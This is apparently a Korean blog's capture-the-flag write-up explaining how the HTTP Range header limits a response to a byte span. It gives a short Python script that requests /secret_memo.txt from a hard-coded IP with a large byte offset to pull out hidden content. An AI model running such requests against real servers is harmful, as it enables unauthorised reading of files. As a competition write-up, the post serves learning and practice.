http 헤더중 range에 관한 문제이다.
Range의 bytes=x-y로 범위를 조작해주면,
응답페이지중 x번째부터 y번째까지의 바이트만을 출력해준다.
import httplib,urllib; conn = httplib.HTTPConnection("119.70.231.180",80) conn.connect() conn.putrequest('GET','/secret_memo.txt') conn.putheader('Connection','keep-alive') conn.putheader('Range','bytes=100000000-100005000') conn.endheaders() response = conn.getresponse() data = response.read() print data
'Computer Security > CTF' 카테고리의 다른 글
[Secuinside 2013] banking, write up (1) | 2013.05.26 |
---|---|
[Secuinside 2013] givemeshell, write up (2) | 2013.05.26 |
[plaid CTF 2013] web 150 write up (29) | 2013.04.23 |
[Codegate 2013] Web 400 simple write up (1) | 2013.03.04 |
[Codegate 2013] Binary 100 simple write up (0) | 2013.03.04 |